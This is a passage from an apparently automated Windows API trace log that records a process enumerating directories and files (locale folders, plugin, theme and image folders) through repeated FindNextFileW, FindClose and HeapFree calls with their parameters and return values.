ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0268.454] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.454] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0268.455] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.455] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0268.456] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.456] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0268.457] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.457] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0268.457] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.457] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0268.458] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.458] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0268.458] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.458] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0268.458] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.458] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0268.459] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.459] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0268.459] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.459] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0268.460] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.460] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0268.460] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.460] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0268.460] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.460] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0268.461] FindClose (in: hFindFile=0x6eb8b0 | out: hFindFile=0x6eb8b0) returned 1 [0268.461] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0268.461] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0268.462] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.462] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0 [0268.462] FindClose (in: hFindFile=0x6eb8b0 | out: hFindFile=0x6eb8b0) returned 1 [0268.462] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0268.462] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0 [0268.462] FindClose (in: hFindFile=0x6eb770 | out: hFindFile=0x6eb770) returned 1 [0268.464] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.464] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0268.464] FindClose (in: hFindFile=0x6eb830 | out: hFindFile=0x6eb830) returned 1 [0268.464] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0268.466] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fss", cAlternateFileName="")) returned 1 [0268.470] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.470] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x250574b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x250574b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x250574b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="img", cAlternateFileName="")) returned 1 [0268.513] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0268.513] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0268.513] FindClose (in: hFindFile=0x6eb830 | out: hFindFile=0x6eb830) returned 1 [0268.513] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.513] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x252b9a4, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x252b9a4, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x252b9a4, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tools", cAlternateFileName="")) returned 1 [0268.548] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.548] FindNextFileW (in: hFindFile=0x649fd8, lpFindFileData=0x3b2da30 | out: lpFindFileData=0x3b2da30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b41a7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x27b41a7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x27b41a7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0268.548] FindClose (in: hFindFile=0x649fd8 | out: hFindFile=0x649fd8) returned 1 [0268.548] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.549] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b41a7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x27b41a7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x27b41a7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0268.549] FindClose (in: hFindFile=0x6eb8b0 | out: hFindFile=0x6eb8b0) returned 1 [0268.549] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0268.549] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1dae, dwReserved0=0x0, dwReserved1=0x0, cFileName="check.cur", cAlternateFileName="")) returned 1 [0268.626] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.626] FindNextFileW (in: hFindFile=0x649fd8, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26f5618, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x26f5618, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x26f5618, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dark", cAlternateFileName="")) returned 0 [0268.626] FindClose (in: hFindFile=0x649fd8 | out: hFindFile=0x649fd8) returned 1 [0268.645] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0268.645] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1dae, dwReserved0=0x0, dwReserved1=0x0, cFileName="x.cur", cAlternateFileName="")) returned 1 [0268.646] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.646] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x252b9a4, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x252b9a4, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x252b9a4, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tools", cAlternateFileName="")) returned 0 [0268.646] FindClose (in: hFindFile=0x6ebcb0 | out: hFindFile=0x6ebcb0) returned 1 [0268.646] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.646] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0268.773] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.773] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0268.773] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.773] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0268.773] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.773] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0268.773] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.773] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0268.773] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.773] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0268.774] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.774] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0268.774] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.774] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0268.774] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.774] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0268.774] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.774] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0268.774] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.774] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, 